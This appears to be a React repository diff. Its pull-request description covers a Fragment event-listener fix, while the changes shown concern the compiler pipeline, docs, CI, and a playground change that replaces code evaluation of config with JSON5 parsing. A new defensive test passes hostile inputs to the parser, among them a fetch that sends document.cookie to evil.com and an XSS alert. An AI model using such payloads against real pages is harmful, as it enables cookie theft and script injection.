Fix formatting (#36332)

## Summary

`FragmentInstance.addEventListener` and `removeEventListener` fail to
cross-match listeners when the `capture` option is passed as a
**boolean** in one call and an **options object** in the other. This
violates the [DOM Living
Standard](https://dom.spec.whatwg.org/#dom-eventtarget-removeeventlistener),
which states that `addEventListener(type, fn, true)` and
`addEventListener(type, fn, {capture: true})` are identical.

### Root Cause

In `ReactFiberConfigDOM.js`, the `normalizeListenerOptions` function
generates a listener key string for deduplication. The boolean branch
generates a **different format** than the object branch:

```js
// Boolean branch (old) — produces "c=1"
return `c=${opts ? '1' : '0'}`;

// Object branch — produces "c=1&o=0&p=0"
return `c=${opts.capture ? '1' : '0'}&o=${opts.once ? '1' : '0'}&p=${opts.passive ? '1' : '0'}`;
```

Because the keys differ, `indexOfEventListener` cannot match them — so
`removeEventListener('click', fn, {capture: true})` silently fails to
remove a listener registered with `addEventListener('click', fn, true)`,
and vice versa. This causes a **memory leak and event listener
accumulation** on all Fragment child DOM nodes.

### Fix

Normalize the boolean branch to produce the same full key format:

```js
// Boolean branch (fixed) — now produces "c=1&o=0&p=0" (matches object branch)
return `c=${opts ? '1' : '0'}&o=0&p=0`;
```

This makes both forms produce an identical key, matching the DOM spec
behavior.

### When Was This Introduced

This bug has been present since `FragmentInstance` event listener
tracking was first added. It became reachable in production as of
[#36026](https://github.com/facebook/react/pull/36026) which enabled
`enableFragmentRefs` + `enableFragmentRefsInstanceHandles` across all
builds (merged 3 days ago).

### Tests

Added two new regression tests to `ReactDOMFragmentRefs-test.js`:

1. `removes a capture listener registered with boolean when removed with
options object`
2. `removes a capture listener registered with options object when
removed with boolean`

Both tests were failing before this fix and pass after.

## How did you test this change?

Added two new automated tests covering both cross-form removal
directions. Existing tests continue to pass.

## Changelog

### React DOM
- **Fixed** `FragmentInstance.removeEventListener()` not removing
capture-phase listeners when the `capture` option form (boolean vs
options object) differs between `add` and `remove` calls.

.eslintrc.js

@@ -463,6 +463,7 @@ module.exports = {
       globals: {
         nativeFabricUIManager: 'readonly',
         RN$enableMicrotasksInReact: 'readonly',
+        RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
       },
     },
     {
@@ -566,6 +567,7 @@ module.exports = {
     CallSite: 'readonly',
     ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
     ReturnType: 'readonly',
+    AggregateError: 'readonly',
     AnimationFrameID: 'readonly',
     WeakRef: 'readonly',
     // For Flow type annotation. Only `BigInt` is valid at runtime.
@@ -626,6 +628,7 @@ module.exports = {
     FinalizationRegistry: 'readonly',
     Exclude: 'readonly',
     Omit: 'readonly',
+    Pick: 'readonly',
     Keyframe: 'readonly',
     PropertyIndexedKeyframes: 'readonly',
     KeyframeAnimationOptions: 'readonly',

.github/workflows/runtime_commit_artifacts.yml

@@ -116,11 +116,13 @@ jobs:
         run: |
           sed -i -e 's/ @license React*//' \
             build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
+            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
             build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
       - name: Insert @headers into eslint plugin and react-refresh
         run: |
           sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
             build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
+            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
             build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
       - name: Move relevant files for React in www into compiled
         run: |
@@ -132,9 +134,9 @@ jobs:
           mkdir ./compiled/facebook-www/__test_utils__
           mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
 
-          # Copy eslint-plugin-react-hooks
+          # Copy eslint-plugin-react-hooks (www build with feature flags)
           mkdir ./compiled/eslint-plugin-react-hooks
-          cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
+          cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
             ./compiled/eslint-plugin-react-hooks/index.js
 
           # Move unstable_server-external-runtime.js into facebook-www
@@ -165,10 +167,6 @@ jobs:
           # Delete the OSS renderers, these are sync'd to RN separately.
           RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
           rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
-          
-          # Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
-          SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
-          rm $SHIM_FOLDER/ReactNative.js
 
           # Copy eslint-plugin-react-hooks
           # NOTE: This is different from www, here we include the full package

.gitignore

@@ -21,6 +21,7 @@ chrome-user-data
 .idea
 *.iml
 .vscode
+.zed
 *.swp
 *.swo
 /tmp
@@ -40,4 +41,3 @@ packages/react-devtools-fusebox/dist
 packages/react-devtools-inline/dist
 packages/react-devtools-shell/dist
 packages/react-devtools-timeline/dist
-

ReactVersions.js

@@ -33,7 +33,7 @@ const canaryChannelLabel = 'canary';
 const rcNumber = 0;
 
 const stablePackages = {
-  'eslint-plugin-react-hooks': '7.1.0',
+  'eslint-plugin-react-hooks': '7.1.1',
   'jest-react': '0.18.0',
   react: ReactVersion,
   'react-art': ReactVersion,

compiler/CLAUDE.md

@@ -35,6 +35,20 @@ yarn snap -p <file-basename> -d
 yarn snap -u
 ```
 
+## Linting
+
+```bash
+# Run lint on the compiler source
+yarn workspace babel-plugin-react-compiler lint
+```
+
+## Formatting
+
+```bash
+# Run prettier on all files (from the react root directory, not compiler/)
+yarn prettier-all
+```
+
 ## Compiling Arbitrary Files
 
 Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
@@ -62,7 +76,7 @@ yarn snap minimize --update <path>
 
 ## Version Control
 
-This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
+This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
 
 ```bash
 # Check status
@@ -229,20 +243,19 @@ Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymo
 3. Look for `Impure`, `Render`, `Capture` effects on instructions
 4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
 
-## Error Handling for Unsupported Features
+## Error Handling and Fault Tolerance
 
-When the compiler encounters an unsupported but known pattern, use `CompilerError.throwTodo()` instead of `CompilerError.invariant()`. Todo errors cause graceful bailouts in production; Invariant errors are hard failures indicating unexpected/invalid states.
+The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
 
-```typescript
-// Unsupported but expected pattern - graceful bailout
-CompilerError.throwTodo({
-  reason: `Support [description of unsupported feature]`,
-  loc: terminal.loc,
-});
+**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
 
-// Invariant is for truly unexpected/invalid states - hard failure
-CompilerError.invariant(false, {
-  reason: `Unexpected [thing]`,
-  loc: terminal.loc,
-});
-```
+**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
+
+**Error categories:**
+- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
+- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
+- Non-`CompilerError` exceptions — Always re-thrown.
+
+**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
+
+**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.

compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt

@@ -1,5 +1,3 @@
-import type { PluginOptions } from 
-'babel-plugin-react-compiler/dist';
-({
+{
   //compilationMode: "all"
-} satisfies PluginOptions);
+}

compiler/apps/playground/__tests__/e2e/page.spec.ts

@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
 test('error is displayed when config has syntax error', async ({page}) => {
   const store: Store = {
     source: TEST_SOURCE,
-    config: `compilationMode: `,
+    config: `{ compilationMode: }`,
     showInternals: false,
   };
   const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
   const output = text.join('');
 
   // Remove hidden chars
-  expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
+  expect(output.replace(/\s+/g, ' ')).toContain(
+    'Unexpected failure when transforming configs',
+  );
 });
 
 test('error is displayed when config has validation error', async ({page}) => {
   const store: Store = {
     source: TEST_SOURCE,
-    config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
-
-({
+    config: `{
   compilationMode: "123"
-} satisfies PluginOptions);`,
+}`,
     showInternals: false,
   };
   const hash = encodeStore(store);

compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs

@@ -0,0 +1,157 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import assert from 'node:assert';
+import {test, describe} from 'node:test';
+import JSON5 from 'json5';
+
+// Re-implement parseConfigOverrides here since the source uses TS imports
+// that can't be directly loaded by Node. This mirrors the logic in
+// compilation.ts exactly.
+function parseConfigOverrides(configOverrides) {
+  const trimmed = configOverrides.trim();
+  if (!trimmed) {
+    return {};
+  }
+  return JSON5.parse(trimmed);
+}
+
+describe('parseConfigOverrides', () => {
+  test('empty string returns empty object', () => {
+    assert.deepStrictEqual(parseConfigOverrides(''), {});
+    assert.deepStrictEqual(parseConfigOverrides('   '), {});
+  });
+
+  test('default config parses correctly', () => {
+    const config = `{
+  //compilationMode: "all"
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {});
+  });
+
+  test('compilationMode "all" parses correctly', () => {
+    const config = `{
+  compilationMode: "all"
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('config with single-line and block comments parses correctly', () => {
+    const config = `{
+  // This is a single-line comment
+  /* This is a block comment */
+  compilationMode: "all",
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('config with trailing commas parses correctly', () => {
+    const config = `{
+  compilationMode: "all",
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('nested environment options parse correctly', () => {
+    const config = `{
+  environment: {
+    validateRefAccessDuringRender: true,
+  },
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {
+      environment: {validateRefAccessDuringRender: true},
+    });
+  });
+
+  test('multiple options parse correctly', () => {
+    const config = `{
+  compilationMode: "all",
+  environment: {
+    validateRefAccessDuringRender: false,
+  },
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {
+      compilationMode: 'all',
+      environment: {validateRefAccessDuringRender: false},
+    });
+  });
+
+  test('rejects malicious IIFE injection', () => {
+    const config = `(function(){ document.title = "hacked"; return {}; })()`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects malicious comma operator injection', () => {
+    const config = `{
+  compilationMode: (alert("xss"), "all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects function call in value', () => {
+    const config = `{
+  compilationMode: eval("all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects variable references', () => {
+    const config = `{
+  compilationMode: someVar
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects template literals', () => {
+    const config = `{
+  compilationMode: \`all\`
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects constructor calls', () => {
+    const config = `{
+  compilationMode: new String("all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects arbitrary JS code', () => {
+    const config = `fetch("https://evil.com?c=" + document.cookie)`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('config with array values parses correctly', () => {
+    const config = `{
+  sources: ["src/a.ts", "src/b.ts"],
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
+  });
+
+  test('config with null values parses correctly', () => {
+    const config = `{
+  compilationMode: null,
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: null});
+  });
+
+  test('config with numeric values parses correctly', () => {
+    const config = `{
+  maxLevel: 42,
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {maxLevel: 42});
+  });
+});

compiler/apps/playground/components/Editor/ConfigEditor.tsx

@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
 import {IconChevron} from '../Icons/IconChevron';
 import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
 
-// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
-import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
-
 loader.config({monaco});
 
 export default function ConfigEditor({
@@ -105,22 +102,10 @@ function ExpandedEditor({
     _: editor.IStandaloneCodeEditor,
     monaco: Monaco,
   ) => void = (_, monaco) => {
-    // Add the babel-plugin-react-compiler type definitions to Monaco
-    monaco.languages.typescript.typescriptDefaults.addExtraLib(
-      //@ts-expect-error - compilerTypeDefs is a string
-      compilerTypeDefs,
-      'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
-    );
-    monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
-      target: monaco.languages.typescript.ScriptTarget.Latest,
-      allowNonTsExtensions: true,
-      moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
-      module: monaco.languages.typescript.ModuleKind.ESNext,
-      noEmit: true,
-      strict: false,
-      esModuleInterop: true,
-      allowSyntheticDefaultImports: true,
-      jsx: monaco.languages.typescript.JsxEmit.React,
+    // Enable comments in JSON for JSON5-style config
+    monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
+      allowComments: true,
+      trailingCommas: 'ignore',
     });
   };
 
@@ -157,8 +142,8 @@ function ExpandedEditor({
             </div>
             <div className="flex-1 border border-gray-300">
               <MonacoEditor
-                path={'config.ts'}
-                language={'typescript'}
+                path={'config.json5'}
+                language={'json'}
                 value={store.config}
                 onMount={handleMount}
                 onChange={handleChange}

compiler/apps/playground/lib/compilation.ts

@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
   type LoggerEvent,
 } from 'babel-plugin-react-compiler';
 import {transformFromAstSync} from '@babel/core';
+import JSON5 from 'json5';
 import type {
   CompilerOutput,
   CompilerTransformOutput,
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
   ],
 ];
 
+export function parseConfigOverrides(configOverrides: string): any {
+  const trimmed = configOverrides.trim();
+  if (!trimmed) {
+    return {};
+  }
+  return JSON5.parse(trimmed);
+}
+
 function parseOptions(
   source: string,
   mode: 'compiler' | 'linter',
@@ -156,16 +165,7 @@ function parseOptions(
   });
 
   // Parse config overrides from config editor
-  let configOverrideOptions: any = {};
-  const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
-  if (configOverrides.trim()) {
-    if (configMatch && configMatch[1]) {
-      const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
-      configOverrideOptions = new Function(`return (${configString})`)();
-    } else {
-      throw new Error('Invalid override format');
-    }
-  }
+  const configOverrideOptions = parseConfigOverrides(configOverrides);
 
   const opts: PluginOptions = parsePluginOptions({
     ...parsedPragmaOptions,

compiler/apps/playground/lib/defaultStore.ts

@@ -14,11 +14,9 @@ export default function MyApp() {
 `;
 
 export const defaultConfig = `\
-import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
-
-({
+{
   //compilationMode: "all"
-} satisfies PluginOptions);`;
+}`;
 
 export const defaultStore: Store = {
   source: index,

compiler/apps/playground/package.json

@@ -32,6 +32,7 @@
     "hermes-eslint": "^0.25.0",
     "hermes-parser": "^0.25.0",
     "invariant": "^2.2.4",
+    "json5": "^2.2.3",
     "lru-cache": "^11.2.2",
     "lz-string": "^1.5.0",
     "monaco-editor": "^0.52.0",

compiler/docs/DESIGN_GOALS.md

@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
 
 * Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
 * Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
-* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
+* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
 * "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
 * Support typical debugging and profiling tools and workflows.
 * Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
 The following are explicitly *not* goals for React Compiler:
 
 * Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
-  * The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
+  * The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
   * In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
   * The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
 * Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
 The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
 
 - **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
-- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
+- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
 - **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
-- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
+- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
 - **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
 - **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc. 
 - **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).

compiler/packages/babel-plugin-react-compiler/docs/passes/README.md

@@ -302,6 +302,15 @@ yarn snap minimize <path>
 yarn snap -u
 ```
 
+## Fault Tolerance
+
+The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
+
+- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
+- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
+- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
+- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
+
 ## Further Reading
 
 - [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs

compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts

@@ -11,7 +11,6 @@ import {
   injectReanimatedFlag,
   pipelineUsesReanimatedPlugin,
 } from '../Entrypoint/Reanimated';
-import validateNoUntransformedReferences from '../Entrypoint/ValidateNoUntransformedReferences';
 import {CompilerError} from '..';
 
 const ENABLE_REACT_COMPILER_TIMINGS =
@@ -64,19 +63,12 @@ export default function BabelPluginReactCompiler(
                 },
               };
             }
-            const result = compileProgram(prog, {
+            compileProgram(prog, {
               opts,
               filename: pass.filename ?? null,
               comments: pass.file.ast.comments ?? [],
               code: pass.file.code,
             });
-            validateNoUntransformedReferences(
-              prog,
-              pass.filename ?? null,
-              opts.logger,
-              opts.environment,
-              result,
-            );
             if (ENABLE_REACT_COMPILER_TIMINGS === true) {
               performance.mark(`${filename}:end`, {
                 detail: 'BabelPlugin:Program:end',

compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Imports.ts

@@ -19,7 +19,7 @@ import {getOrInsertWith} from '../Utils/utils';
 import {ExternalFunction, isHookName} from '../HIR/Environment';
 import {Err, Ok, Result} from '../Utils/Result';
 import {LoggerEvent, ParsedPluginOptions} from './Options';
-import {BabelFn, getReactCompilerRuntimeModule} from './Program';
+import {getReactCompilerRuntimeModule} from './Program';
 import {SuppressionRange} from './Suppression';
 
 export function validateRestrictedImports(
@@ -84,11 +84,6 @@ export class ProgramContext {
   // generated imports
   imports: Map<string, Map<string, NonLocalImportSpecifier>> = new Map();
 
-  /**
-   * Metadata from compilation
-   */
-  retryErrors: Array<{fn: BabelFn; error: CompilerError}> = [];
-
   constructor({
     program,
     suppressions,

compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Options.ts

@@ -228,8 +228,6 @@ const CompilerOutputModeSchema = z.enum([
   'ssr',
   // Build optimized for the client, with auto memoization
   'client',
-  // Build optimized for the client without auto memo
-  'client-no-memo',
   // Lint mode, the output is unused but validations should run
   'lint',
 ]);
@@ -254,6 +252,7 @@ export type LoggerEvent =
   | CompileErrorEvent
   | CompileDiagnosticEvent
   | CompileSkipEvent
+  | CompileUnexpectedThrowEvent
   | PipelineErrorEvent
   | TimingEvent;
 
@@ -288,6 +287,11 @@ export type PipelineErrorEvent = {
   fnLoc: t.SourceLocation | null;
   data: string;
 };
+export type CompileUnexpectedThrowEvent = {
+  kind: 'CompileUnexpectedThrow';
+  fnLoc: t.SourceLocation | null;
+  data: string;
+};
 export type TimingEvent = {
   kind: 'Timing';
   measurement: PerformanceMeasure;

compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Pipeline.ts

@@ -9,6 +9,8 @@ import {NodePath} from '@babel/traverse';
 import * as t from '@babel/types';
 import prettyFormat from 'pretty-format';
 import {CompilerOutputMode, Logger, ProgramContext} from '.';
+import {CompilerError} from '../CompilerError';
+import {Err, Ok, Result} from '../Utils/Result';
 import {
   HIRFunction,
   ReactiveFunction,
@@ -89,7 +91,6 @@ import {validateNoJSXInTryStatement} from '../Validation/ValidateNoJSXInTryState
 import {propagateScopeDependenciesHIR} from '../HIR/PropagateScopeDependenciesHIR';
 import {outlineJSX} from '../Optimization/OutlineJsx';
 import {optimizePropsMethodCalls} from '../Optimization/OptimizePropsMethodCalls';
-import {validateNoImpureFunctionsInRender} from '../Validation/ValidateNoImpureFunctionsInRender';
 import {validateStaticComponents} from '../Validation/ValidateStaticComponents';
 import {validateNoFreezingKnownMutableFunctions} from '../Validation/ValidateNoFreezingKnownMutableFunctions';
 import {inferMutationAliasingEffects} from '../Inference/InferMutationAliasingEffects';
@@ -118,7 +119,7 @@ function run(
   logger: Logger | null,
   filename: string | null,
   code: string | null,
-): CodegenFunction {
+): Result<CodegenFunction, CompilerError> {
   const contextIdentifiers = findContextIdentifiers(func);
   const env = new Environment(
     func.scope,
@@ -149,21 +150,21 @@ function runWithEnvironment(
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
   env: Environment,
-): CodegenFunction {
+): Result<CodegenFunction, CompilerError> {
   const log = (value: CompilerPipelineValue): void => {
     env.logger?.debugLogIRs?.(value);
   };
-  const hir = lower(func, env).unwrap();
+  const hir = lower(func, env);
   log({kind: 'hir', name: 'HIR', value: hir});
 
   pruneMaybeThrows(hir);
   log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
 
   validateContextVariableLValues(hir);
-  validateUseMemo(hir).unwrap();
+  validateUseMemo(hir);
 
   if (env.enableDropManualMemoization) {
-    dropManualMemoization(hir).unwrap();
+    dropManualMemoization(hir);
     log({kind: 'hir', name: 'DropManualMemoization', value: hir});
   }
 
@@ -196,10 +197,10 @@ function runWithEnvironment(
 
   if (env.enableValidations) {
     if (env.config.validateHooksUsage) {
-      validateHooksUsage(hir).unwrap();
+      validateHooksUsage(hir);
     }
     if (env.config.validateNoCapitalizedCalls) {
-      validateNoCapitalizedCalls(hir).unwrap();
+      validateNoCapitalizedCalls(hir);
     }
   }
 
@@ -209,13 +210,8 @@ function runWithEnvironment(
   analyseFunctions(hir);
   log({kind: 'hir', name: 'AnalyseFunctions', value: hir});
 
-  const mutabilityAliasingErrors = inferMutationAliasingEffects(hir);
+  inferMutationAliasingEffects(hir);
   log({kind: 'hir', name: 'InferMutationAliasingEffects', value: hir});
-  if (env.enableValidations) {
-    if (mutabilityAliasingErrors.isErr()) {
-      throw mutabilityAliasingErrors.unwrapErr();
-    }
-  }
 
   if (env.outputMode === 'ssr') {
     optimizeForSSR(hir);
@@ -228,28 +224,23 @@ function runWithEnvironment(
   pruneMaybeThrows(hir);
   log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
 
-  const mutabilityAliasingRangeErrors = inferMutationAliasingRanges(hir, {
+  inferMutationAliasingRanges(hir, {
     isFunctionExpression: false,
   });
   log({kind: 'hir', name: 'InferMutationAliasingRanges', value: hir});
   if (env.enableValidations) {
-    if (mutabilityAliasingRangeErrors.isErr()) {
-      throw mutabilityAliasingRangeErrors.unwrapErr();
-    }
     validateLocalsNotReassignedAfterRender(hir);
-  }
 
-  if (env.enableValidations) {
     if (env.config.assertValidMutableRanges) {
       assertValidMutableRanges(hir);
     }
 
     if (env.config.validateRefAccessDuringRender) {
-      validateNoRefAccessInRender(hir).unwrap();
+      validateNoRefAccessInRender(hir);
     }
 
     if (env.config.validateNoSetStateInRender) {
-      validateNoSetStateInRender(hir).unwrap();
+      validateNoSetStateInRender(hir);
     }
 
     if (
@@ -269,11 +260,7 @@ function runWithEnvironment(
       env.logErrors(validateNoJSXInTryStatement(hir));
     }
 
-    if (env.config.validateNoImpureFunctionsInRender) {
-      validateNoImpureFunctionsInRender(hir).unwrap();
-    }
-
-    validateNoFreezingKnownMutableFunctions(hir).unwrap();
+    validateNoFreezingKnownMutableFunctions(hir);
   }
 
   inferReactivePlaces(hir);
@@ -285,7 +272,7 @@ function runWithEnvironment(
       env.config.validateExhaustiveEffectDependencies
     ) {
       // NOTE: this relies on reactivity inference running first
-      validateExhaustiveDependencies(hir).unwrap();
+      validateExhaustiveDependencies(hir);
     }
   }
 
@@ -399,6 +386,7 @@ function runWithEnvironment(
   });
   assertTerminalSuccessorsExist(hir);
   assertTerminalPredsExist(hir);
+
   propagateScopeDependenciesHIR(hir);
   log({
     kind: 'hir',
@@ -511,20 +499,20 @@ function runWithEnvironment(
     env.config.enablePreserveExistingMemoizationGuarantees ||
     env.config.validatePreserveExistingMemoizationGuarantees
   ) {
-    validatePreservedManualMemoization(reactiveFunction).unwrap();
+    validatePreservedManualMemoization(reactiveFunction);
   }
 
   const ast = codegenFunction(reactiveFunction, {
     uniqueIdentifiers,
     fbtOperands,
-  }).unwrap();
+  });
   log({kind: 'ast', name: 'Codegen', value: ast});
   for (const outlined of ast.outlined) {
     log({kind: 'ast', name: 'Codegen (outlined)', value: outlined.fn});
   }
 
   if (env.config.validateSourceLocations) {
-    validateSourceLocations(func, ast).unwrap();
+    validateSourceLocations(func, ast, env);
   }
 
   /**
@@ -536,7 +524,10 @@ function runWithEnvironment(
     throw new Error('unexpected error');
   }
 
-  return ast;
+  if (env.hasErrors()) {
+    return Err(env.aggregateErrors());
+  }
+  return Ok(ast);
 }
 
 export function compileFn(
@@ -550,7 +541,7 @@ export function compileFn(
   logger: Logger | null,
